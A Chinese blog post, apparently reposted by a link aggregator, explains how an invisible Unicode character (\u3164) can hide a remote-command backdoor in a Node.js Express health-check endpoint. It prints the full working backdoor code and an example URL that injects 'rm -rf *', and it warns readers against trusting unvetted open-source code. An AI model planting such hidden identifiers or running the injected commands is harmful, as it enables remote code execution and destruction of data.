5

一日一技:亲眼所见,也非真实,如何明目张胆架设后门程序

 2 years ago
source link: https://www.kingname.info/2021/12/23/backdoor-for-review/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

一日一技:亲眼所见,也非真实,如何明目张胆架设后门程序

发表于

2021-12-23

| 分类于 JavaScript

| 评论数: 0

以前有人说,开源项目非常安全,因为谁都可以看到代码,所以不怕里面藏有后门。

这样的言论显然非常天真,一来,并不会有很多人真的去看源代码;二来,有一些缺陷隐藏得很深,光看源代码看不出来,例如 log4j2;第三,有办法把后门藏在一段非常安全的代码里面,你即使看源代码也看不出哪里有问题。

今天这个案例,是我在网上闲逛(mo yu)的时候偶然发现的,它的做法非常精巧,可以称得上是光明正大开后门。

案例文章的原始地址是:The Invisible JavaScript Backdoor这篇文章给出了一段看起来非常安全的Node.js 的代码:

const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {
const { timeout,ㅤ} = req.query;
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',ㅤ
];

try {
await Promise.all(checkCommands.map(cmd =>
cmd && exec(cmd, { timeout: +timeout || 5_000 })));
res.status(200);
res.send('ok');
} catch(e) {
res.status(500);
res.send('failed');
}
});

app.listen(8080);

这段代码使用 Express 框架搭建了一个 API 接口,当你调用http://127.0.0.1:8080/network_health的时候,后台会首先ping一下 Google,然后再使用curl访问http://example.com。如果都成功了,那么显然你的网络是正常的,于是给你返回ok。你也可以设置参数timeout=xxx来限定这两个测试必需在多长时间内完成,否则视为网络有问题。

这个功能简单得不能再简单了,能有什么问题呢?我现在就把代码放到你的面前让你来Review,你能说我的代码有问题?

但实际上,上面这段代码确实有一个后门,可以让我在部署了这个接口的机器上执行任意命令,包括但不限于下载木马或者rm -rf *

这段代码的问题,就出现在图中我画箭头的这两个地方:

2021-12-22-20-18-10.png

这两个地方的逗号后面,并不是空格,而是一个看不见的符号:\u3164。我们知道,在 JavaScript 里面,几乎任何非关键字的Unicode 符号都可以用来当做变量名。而\u3164也是一个 Unicode 字符,所以它显然也可以当做变量名。

我们来看上面代码中,执行命令的地方:

const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',ㅤ
];

try {
await Promise.all(checkCommands.map(cmd =>
cmd && exec(cmd, { timeout: +timeout || 5_000 })));

这里,Node.js 会调用系统 Shell 执行数组checkCommands中的两条命令。如果我这样写:

const hide_command = 'rm -rf *'
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',ㅤhide_command
];

那你肯定知道我执行了三条命令,其中第三个命令会删除电脑里面的文件。现在,我把里面的名字hide_command换成\u3164:

const ㅤ = 'rm -rf *'
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',ㅤ
];

你虽然可能会觉得const ㅤ = 'rm -rf *'有点奇怪,但你应该不会怀疑下面的数组有什么问题。因为在你的眼里,这个数组只有两条命令,但它实际上有三条命令。

而这段攻击代码,把const ㅤ = 'rm -rf *'这个奇怪的赋值语句也给隐藏到了const { timeout,ㅤ} = req.query;当中。因为在 Express 中,我们可以这样设置 URL 参数:

const {id, name, type} = req.query;

那么,你在 URL 里面就可以使用这三个参数:http://127.0.0.1:8000/network_health?id=xxx&name=yyy&type=zzz。现在,这段有后门的代码,其实会接收两个参数,分别是timeout,其中后者这个看起来像是空格的就是\u3164,也就是变量名。所以,我可以通过访问 URL:http://127.0.0.1:8000/network_health?timeout=10&ㅤ=rm -rf *。把删除系统文件的命令传入进来。这里可以传入任何 Shell 命令,如果不想删除对方的系统,那么可以通过执行 Shell 下载一个木马程序到对方的电脑上,然后就可以每天远程偷偷监控对方在干什么了。

这样的后门真的是防不胜防。我也没有什么好办法能避免被欺骗。例如你在Github 上面看到有人开源了一个基于 Node.js 实现的电商系统,于是你就把它拿来用,搭建出了你自己的在线商城卖点小东西。也许某一天,你会发现你的账目对不上,也许就是因为这个系统里面留有这样的后门?

只能说最好的办法就是不要运行来历不明的代码,也不要因为代码是开源项目,就盲目觉得它很安全。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK